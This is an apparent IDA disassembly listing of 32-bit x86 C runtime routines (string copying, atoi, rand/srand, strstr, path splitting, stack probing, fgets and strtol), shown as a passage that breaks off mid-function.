		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41B614
		shr	ecx, 2
		jnz	short loc_41B681
		jmp	short loc_41B635
; ---------------------------------------------------------------------------


loc_41B614:				; CODE XREF: sub_41B5F0+1Bj
					; sub_41B5F0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41B642
		test	al, al
		jz	short loc_41B64A
		test	esi, 3
		jnz	short loc_41B614
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B681


loc_41B630:				; CODE XREF: sub_41B5F0+8Fj
		and	ebx, 3
		jz	short loc_41B642


loc_41B635:				; CODE XREF: sub_41B5F0+22j
					; sub_41B5F0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41B66E
		dec	ebx
		jnz	short loc_41B635


loc_41B642:				; CODE XREF: sub_41B5F0+2Bj
					; sub_41B5F0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B64A:				; CODE XREF: sub_41B5F0+2Fj
		test	edi, 3
		jz	short loc_41B664


loc_41B652:				; CODE XREF: sub_41B5F0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41B6E6
		test	edi, 3
		jnz	short loc_41B652


loc_41B664:				; CODE XREF: sub_41B5F0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B6D7


loc_41B66B:				; CODE XREF: sub_41B5F0+7Fj
					; sub_41B5F0+F4j
		mov	[edi], al
		inc	edi


loc_41B66E:				; CODE XREF: sub_41B5F0+4Dj
		dec	ebx
		jnz	short loc_41B66B
		pop	ebx
		pop	esi


loc_41B673:				; CODE XREF: sub_41B5F0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B679:				; CODE XREF: sub_41B5F0+A9j
					; sub_41B5F0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41B630


loc_41B681:				; CODE XREF: sub_41B5F0+20j
					; sub_41B5F0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41B679
		test	dl, dl
		jz	short loc_41B6CB
		test	dh, dh
		jz	short loc_41B6C1
		test	edx, 0FF0000h
		jz	short loc_41B6B7
		test	edx, 0FF000000h
		jnz	short loc_41B679
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6B7:				; CODE XREF: sub_41B5F0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6C1:				; CODE XREF: sub_41B5F0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6CB:				; CODE XREF: sub_41B5F0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41B6CF:				; CODE XREF: sub_41B5F0+C5j
					; sub_41B5F0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41B6E1


loc_41B6D7:				; CODE XREF: sub_41B5F0+79j
		xor	eax, eax


loc_41B6D9:				; CODE XREF: sub_41B5F0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41B6D9


loc_41B6E1:				; CODE XREF: sub_41B5F0+E5j
		and	ebx, 3
		jnz	short loc_41B66B


loc_41B6E6:				; CODE XREF: sub_41B5F0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41B5F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6EE	proc near		; CODE XREF: sub_41B779+4p
					; sub_4247EC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41B6F6:				; CODE XREF: sub_41B6EE+34j
		cmp	dword_43CBD4, 1
		jle	short loc_41B70E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B71D
; ---------------------------------------------------------------------------


loc_41B70E:				; CODE XREF: sub_41B6EE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43C9C8
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41B71D:				; CODE XREF: sub_41B6EE+1Ej
		test	eax, eax
		jz	short loc_41B724
		inc	edi
		jmp	short loc_41B6F6
; ---------------------------------------------------------------------------


loc_41B724:				; CODE XREF: sub_41B6EE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41B734
		cmp	esi, 2Bh
		jnz	short loc_41B738


loc_41B734:				; CODE XREF: sub_41B6EE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41B738:				; CODE XREF: sub_41B6EE+44j
		xor	ebx, ebx


loc_41B73A:				; CODE XREF: sub_41B6EE+7Bj
		cmp	dword_43CBD4, 1
		jle	short loc_41B74F
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B75A
; ---------------------------------------------------------------------------


loc_41B74F:				; CODE XREF: sub_41B6EE+53j
		mov	eax, off_43C9C8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41B75A:				; CODE XREF: sub_41B6EE+5Fj
		test	eax, eax
		jz	short loc_41B76B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41B73A
; ---------------------------------------------------------------------------


loc_41B76B:				; CODE XREF: sub_41B6EE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41B774
		neg	eax


loc_41B774:				; CODE XREF: sub_41B6EE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B6EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B779	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+733p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B6EE
		pop	ecx
		retn
sub_41B779	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43A96C
		test	eax, eax
		jz	short loc_41B78F
		call	eax ; sub_41C748


loc_41B78F:				; CODE XREF: ___:0041B78Bj
		push	offset dword_42902C
		push	offset dword_429018
		call	sub_41B86C
		push	offset dword_429014
		push	offset dword_429000
		call	sub_41B86C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41B7D3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41B7C2	proc near		; CODE XREF: sub_41DA29+1Cp
					; sub_42255C+2276p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41B7D3
		add	esp, 0Ch
		retn
sub_41B7C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7D3	proc near		; CODE XREF: ___:0041B7B9p
					; sub_41B7C2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DB990, edi
		jnz	short loc_41B7F0
		push	[esp+4+arg_0]
		nop
		call	near ptr 274051Ch
		push	eax
		call	near ptr 2730B86h
		nop


loc_41B7F0:				; CODE XREF: sub_41B7D3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DB98C, edi
		mov	byte_4DB988, bl
		jnz	short loc_41B844
		mov	eax, dword_4DCFFC
		test	eax, eax
		jz	short loc_41B833
		mov	ecx, dword_4DCFF8
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41B832


loc_41B81F:				; CODE XREF: sub_41B7D3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B827
		call	eax


loc_41B827:				; CODE XREF: sub_41B7D3+50j
		sub	esi, 4
		cmp	esi, dword_4DCFFC
		jnb	short loc_41B81F


loc_41B832:				; CODE XREF: sub_41B7D3+4Aj
		pop	esi


loc_41B833:				; CODE XREF: sub_41B7D3+3Cj
		push	offset dword_429038
		push	offset dword_429030
		call	sub_41B86C
		pop	ecx
		pop	ecx


loc_41B844:				; CODE XREF: sub_41B7D3+33j
		push	offset dword_429044
		push	offset dword_42903C
		call	sub_41B86C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41B86A
		push	[esp+4+arg_0]
		mov	dword_4DB990, edi
		nop
		call	near ptr 77E75CB5h


loc_41B86A:				; CODE XREF: sub_41B7D3+85j
		pop	edi
		retn
sub_41B7D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B86C	proc near		; CODE XREF: ___:0041B799p
					; ___:0041B7A8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41B871:				; CODE XREF: sub_41B86C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41B884
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B87F
		call	eax


loc_41B87F:				; CODE XREF: sub_41B86C+Fj
		add	esi, 4
		jmp	short loc_41B871
; ---------------------------------------------------------------------------


loc_41B884:				; CODE XREF: sub_41B86C+9j
		pop	esi
		retn
sub_41B86C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B886	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B8C6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B8D3
; ---------------------------------------------------------------------------


loc_41B8C6:				; CODE XREF: sub_41B886+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B8D3:				; CODE XREF: sub_41B886+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B886	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8D8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+31A3p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43A950, eax
		retn
sub_41B8D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8E2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43A950
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43A950, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41B8E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41B97A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41B967


loc_41B918:				; CODE XREF: sub_41B900+52j
					; sub_41B900+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jz	short loc_41B934


loc_41B929:				; CODE XREF: sub_41B900+32j
		mov	al, [esi]
		inc	esi


loc_41B92C:				; CODE XREF: sub_41B900+3Fj
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jnz	short loc_41B929


loc_41B934:				; CODE XREF: sub_41B900+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41B93A:				; CODE XREF: sub_41B900+23j
					; sub_41B900+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41B92C
		lea	edi, [esi-1]


loc_41B944:				; CODE XREF: sub_41B900+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41B973
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41B918
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41B973
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41B944
		jmp	short loc_41B918
; ---------------------------------------------------------------------------


loc_41B967:				; CODE XREF: sub_41B900+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41BFB6
; ---------------------------------------------------------------------------


loc_41B973:				; CODE XREF: sub_41B900+49j
					; sub_41B900+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B97A:				; CODE XREF: sub_41B900+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41B900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B980	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C73p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B9BF
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B9CC
; ---------------------------------------------------------------------------


loc_41B9BF:				; CODE XREF: sub_41B980+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B9CC:				; CODE XREF: sub_41B980+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9D1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+21D2p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41AFE0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41BA0C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41BA0C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41BA08
		push	2
		push	ebx
		push	esi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41BA08:				; CODE XREF: sub_41B9D1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41BA16
; ---------------------------------------------------------------------------


loc_41BA0C:				; CODE XREF: sub_41B9D1+18j
					; sub_41B9D1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BA16
		and	byte ptr [eax],	0


loc_41BA16:				; CODE XREF: sub_41B9D1+39j
					; sub_41B9D1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41BA8E


loc_41BA29:				; CODE XREF: sub_41B9D1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DCEC1[edx], 4
		jz	short loc_41BA3A
		inc	eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA3A:				; CODE XREF: sub_41B9D1+64j
		cmp	cl, 2Fh
		jz	short loc_41BA4E
		cmp	cl, 5Ch
		jz	short loc_41BA4E
		cmp	cl, 2Eh
		jnz	short loc_41BA54
		mov	[ebp+var_4], eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA4E:				; CODE XREF: sub_41B9D1+6Cj
					; sub_41B9D1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41BA54:				; CODE XREF: sub_41B9D1+67j
					; sub_41B9D1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41BA29
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41BA8E
		cmp	[ebp+arg_8], 0
		jz	short loc_41BA89
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BA72
		mov	edi, esi


loc_41BA72:				; CODE XREF: sub_41B9D1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420289
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BA89:				; CODE XREF: sub_41B9D1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41BA98
; ---------------------------------------------------------------------------


loc_41BA8E:				; CODE XREF: sub_41B9D1+56j
					; sub_41B9D1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41BA98
		and	byte ptr [ecx],	0


loc_41BA98:				; CODE XREF: sub_41B9D1+BBj
					; sub_41B9D1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41BAEB
		cmp	edi, ebx
		jb	short loc_41BAEB
		cmp	[ebp+arg_C], 0
		jz	short loc_41BAC8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BAB1
		mov	edi, esi


loc_41BAB1:				; CODE XREF: sub_41B9D1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420289
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BAC8:				; CODE XREF: sub_41B9D1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41BB13
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41BAD8
		mov	esi, eax


loc_41BAD8:				; CODE XREF: sub_41B9D1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41BB13
; ---------------------------------------------------------------------------


loc_41BAEB:				; CODE XREF: sub_41B9D1+CCj
					; sub_41B9D1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41BB09
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41BAFA
		mov	esi, eax


loc_41BAFA:				; CODE XREF: sub_41B9D1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41BB09:				; CODE XREF: sub_41B9D1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41BB13
		and	byte ptr [eax],	0


loc_41BB13:				; CODE XREF: sub_41B9D1+FCj
					; sub_41B9D1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B9D1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BB20	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41BB40


loc_41BB2C:				; CODE XREF: sub_41BB20+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41BB2C


loc_41BB40:				; CODE XREF: sub_41BB20+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41BB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB4F	proc near		; CODE XREF: sub_401ACD+757Fp
					; sub_401ACD+75AEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41BB63
		xor	eax, eax
		jmp	short loc_41BB99
; ---------------------------------------------------------------------------


loc_41BB63:				; CODE XREF: sub_41BB4F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41BB93
		mov	esi, [ebp+arg_8]


loc_41BB6C:				; CODE XREF: sub_41BB4F+42j
		dec	dword ptr [esi+4]
		js	short loc_41BB7B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41BB82
; ---------------------------------------------------------------------------


loc_41BB7B:				; CODE XREF: sub_41BB4F+20j
		push	esi
		call	sub_41F043
		pop	ecx


loc_41BB82:				; CODE XREF: sub_41BB4F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BB9D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41BB93
		dec	[ebp+arg_4]
		jnz	short loc_41BB6C


loc_41BB93:				; CODE XREF: sub_41BB4F+18j
					; sub_41BB4F+3Dj ...
		and	byte ptr [edi],	0


loc_41BB96:				; CODE XREF: sub_41BB4F+55j
		mov	eax, ebx
		pop	esi


loc_41BB99:				; CODE XREF: sub_41BB4F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41BB9D:				; CODE XREF: sub_41BB4F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41BB93
		xor	ebx, ebx
		jmp	short loc_41BB96
sub_41BB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBA6	proc near		; CODE XREF: ___:0041DDA5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BBA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBBD	proc near		; CODE XREF: sub_41BBA6+Ep
					; sub_41BDC5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41BBD5:				; CODE XREF: sub_41BBBD+46j
		cmp	dword_43CBD4, 1
		jle	short loc_41BBED
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BBFC
; ---------------------------------------------------------------------------


loc_41BBED:				; CODE XREF: sub_41BBBD+1Fj
		mov	ecx, off_43C9C8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41BBFC:				; CODE XREF: sub_41BBBD+2Ej
		test	eax, eax
		jz	short loc_41BC05
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41BBD5
; ---------------------------------------------------------------------------


loc_41BC05:				; CODE XREF: sub_41BBBD+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41BC13
		or	[ebp+arg_C], 2
		jmp	short loc_41BC18
; ---------------------------------------------------------------------------


loc_41BC13:				; CODE XREF: sub_41BBBD+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41BC1E


loc_41BC18:				; CODE XREF: sub_41BBBD+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC1E:				; CODE XREF: sub_41BBBD+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41BDB5
		cmp	eax, 1
		jz	loc_41BDB5
		cmp	eax, 24h
		jg	loc_41BDB5
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41BC66
		cmp	bl, 30h
		jz	short loc_41BC50
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC50:				; CODE XREF: sub_41BBBD+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC63
		cmp	al, 58h
		jz	short loc_41BC63
		mov	[ebp+arg_8], 8
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC63:				; CODE XREF: sub_41BBBD+97j
					; sub_41BBBD+9Bj
		mov	[ebp+arg_8], ecx


loc_41BC66:				; CODE XREF: sub_41BBBD+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41BC82
		cmp	bl, 30h
		jnz	short loc_41BC82
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC7A
		cmp	al, 58h
		jnz	short loc_41BC82


loc_41BC7A:				; CODE XREF: sub_41BBBD+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC82:				; CODE XREF: sub_41BBBD+91j
					; sub_41BBBD+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41BC92:				; CODE XREF: sub_41BBBD+16Cj
		cmp	dword_43CBD4, 1
		movzx	esi, bl
		jle	short loc_41BCAA
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCB5
; ---------------------------------------------------------------------------


loc_41BCAA:				; CODE XREF: sub_41BBBD+DFj
		mov	eax, off_43C9C8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41BCB5:				; CODE XREF: sub_41BBBD+EBj
		test	eax, eax
		jz	short loc_41BCC1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41BCF3
; ---------------------------------------------------------------------------


loc_41BCC1:				; CODE XREF: sub_41BBBD+FAj
		cmp	dword_43CBD4, 1
		jle	short loc_41BCD5
		push	edi
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCE0
; ---------------------------------------------------------------------------


loc_41BCD5:				; CODE XREF: sub_41BBBD+10Bj
		mov	eax, off_43C9C8
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41BCE0:				; CODE XREF: sub_41BBBD+116j
		test	eax, eax
		jz	short loc_41BD2E
		movsx	eax, bl
		push	eax
		call	sub_420313
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41BCF3:				; CODE XREF: sub_41BBBD+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41BD2E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41BD18
		jnz	short loc_41BD12
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41BD18


loc_41BD12:				; CODE XREF: sub_41BBBD+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41BD21
; ---------------------------------------------------------------------------


loc_41BD18:				; CODE XREF: sub_41BBBD+145j
					; sub_41BBBD+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41BD21:				; CODE XREF: sub_41BBBD+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41BC92
; ---------------------------------------------------------------------------


loc_41BD2E:				; CODE XREF: sub_41BBBD+125j
					; sub_41BBBD+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41BD4C
		test	edx, edx
		jz	short loc_41BD46
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41BD46:				; CODE XREF: sub_41BBBD+181j
		and	[ebp+var_8], 0
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD4C:				; CODE XREF: sub_41BBBD+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41BD72
		test	cl, 1
		jnz	short loc_41BD99
		and	ecx, 2
		jz	short loc_41BD69
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41BD72


loc_41BD69:				; CODE XREF: sub_41BBBD+1A1j
		test	ecx, ecx
		jnz	short loc_41BD99
		cmp	[ebp+var_8], eax
